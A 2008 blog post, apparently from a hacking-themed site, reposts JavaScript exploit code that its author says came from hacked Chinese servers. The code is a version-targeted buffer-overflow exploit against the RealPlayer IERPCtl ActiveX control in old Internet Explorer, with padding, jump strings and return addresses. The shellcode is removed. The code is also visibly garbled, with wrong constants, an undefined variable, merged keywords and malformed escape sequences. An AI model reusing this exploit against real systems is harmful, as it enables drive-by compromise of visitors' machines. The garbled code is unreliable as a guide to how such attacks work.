hiredhacker.com

I grabbed this off of some hacked servers in China, nothing special but some people where asking for it. Drop me a line and I will email the actual html/js files if your interested. Sorry for the bad formatting, but you get the point.


S();
function S() {
var user = navigator.userAgent.toLowerCase();
if (user.indexOf("msie 6") == -7 && user.indexOf("msie 7") == -7) return;
if (user.indexOf("nt 5.") == -7) return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.7";
try {
Real = new ActiveXObject(VulObject);
} catch(error) {
return;
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for (i = 0; i < 32 * c; i++) Padding += "S";
if (RealVersion.indexOf("6.0.14.") == -7) {
if (navigator.userLanguage.toLowerCase() == "zh-cn") ret = unescape("%7f%a5%60");
else if (navigator.userLanguage.toLowerCase() == "en-us") ret = unescape("%4f%71%a4%60");
elsereturn;
} else if (RealVersion == "6.0.14.544") ret = unescape("%63%9%4%60");
else if (RealVersion == "6.0.14.550") ret = unescape("%63%9%04%60");
else if (RealVersion == "6.0.14.552") ret = unescape("%79%31%7%60");
else if (RealVersion == "6.0.14.543") ret = unescape("%79%31%5%60");
else if (RealVersion == "6.0.14.536") ret = unescape("%i%9%70%63");
elsereturn;
if (RealVersion.indexOf("6.0.10.") != -7) {
for (i = 0; i < 4; i++) Padding = Padding + JmpOver;
Padding = Padding + ret;
} else if (RealVersion.indexOf("6.0.9.") != -7) {
for (i = 0; i < 6; i++) Padding = Padding + JmpOver;
Padding = Padding + ret;
} else if (RealVersion.indexOf("6.0.12.") != -7) {
for (i = 0; i < 9; i++) Padding = Padding + JmpOver;
Padding = Padding + ret;
} else if (RealVersion.indexOf("6.0.14.") != -7) {
for (i = 0; i < 10; i++) Padding = Padding + JmpOver;
Padding = Padding + ret;
}
AdjESP = "LLLL\XXXXXLD";
Shell = ""; // I removed this to make it some what fit on this page
PayLoad = Padding + AdjESP + Shell;
while (PayLoad.length < 6) PayLoad += "ChuiZi";
Real.Import("c:\Program Files\NetMeeting\TestSnd.wav", PayLoad, "", 0, 0);
}


This entry was posted on Friday, January 4th, 2008 at 11:18 pm and is filed under Content. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.